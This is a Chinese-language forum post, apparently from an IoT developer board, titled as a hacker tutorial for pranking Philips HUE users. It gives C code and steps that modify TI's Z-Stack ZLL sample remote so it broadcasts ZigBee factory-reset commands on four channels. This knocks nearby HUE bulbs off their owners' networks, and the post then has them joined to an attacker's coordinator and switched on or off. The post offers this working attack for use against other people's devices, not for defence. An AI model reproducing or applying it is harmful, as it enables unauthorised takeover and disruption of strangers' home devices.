【黑客技能】教你恶搞使用飞利浦HUE的用户。

物联网神教 2016-09-28 10:16:23
飞利浦HUE是基于ZigBee ZLL协议。在ZigBee中,专门定制了应用层的ZCL,ZCL根据ZigBee的Profile ID和cluster ID,订制了不同类型的命令。其中ZHA指令集就是针对的传感器的操作,而ZLL指令集是组网。
ZLL的组网是针对传统ZigBee网络的关联组网的不足,在应用层上强制干预组网。ZLL指令被分配到ZigBee的254端口进行收发,这个端口是用于Inter PAN通信的。一个ZigBee设备,即使没有联网也能收发Inter PAN消息。

话不多说,首先,安装Z-stack ZLL的协议栈,现在最新版是1.0.2版。需要在IAR 8.20下打开。

然后使用Sample Remote这个工程,选择ARC这个编译子工程,如果你没有TI官方开发板,则需要修改按键驱动。最终要定位到按键处理函数zllSampleRemote_HandleKeys,保证SEND_FACTORY_RESET_KEY这个键值可以被触发。

进入函数zllInitiator_ResetToFNSelectedTarget,添加以下代码
if( selectedTarget.rxChannel == 0x0B )
{
selectedTarget.rxChannel = 0x0F;
}
else if( selectedTarget.rxChannel == 0x0F )
{
selectedTarget.rxChannel = 0x14;
}
else if( selectedTarget.rxChannel == 0x14 )
{
selectedTarget.rxChannel = 0x19;
}
else
{
selectedTarget.rxChannel = 0x0B;
}
//osal_memcpy(selectedTarget.srcAddr.addr.extAddr, destExt, 8);
selectedTarget.srcAddr.addr.shortAddr = 0xFFFF;
selectedTarget.srcAddr.addrMode = afAddr16Bit;
selectedTarget.srcAddr.panId = 0xFFFF;
selectedTarget.srcAddr.endPoint = STUBAPS_INTER_PAN_EP;

zll_SetChannel( selectedTarget.rxChannel );

这样,让按键每次触发时,轮流在11,15,20,25四个信道轮流广播ZLL的恢复出厂命令,这样,就能让HUE脱离原有网络。

然后再运行一个ZigBee协调器的工程,将Z-stack Home工程中的协调器烧录到开发板中,然后打开入网允许,就能找到飞利浦HUE的灯了。
然后再用协调器发送一个ZCL_CLUSTER_ID_GEN_ON_OFF命令过去,看看发生什么效果。








...全文
338 1 打赏 收藏 转发到动态 举报
写回复
用AI写文章
1 条回复
切换为时间正序
请发表友善的回复…
发表回复
物联网神教 2016-09-28
  • 打赏
  • 举报
回复
顶上去,自己顶

3,846

社区成员

发帖
与我相关
我的任务
社区描述
硬件/嵌入开发 无线
社区管理员
  • 无线
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧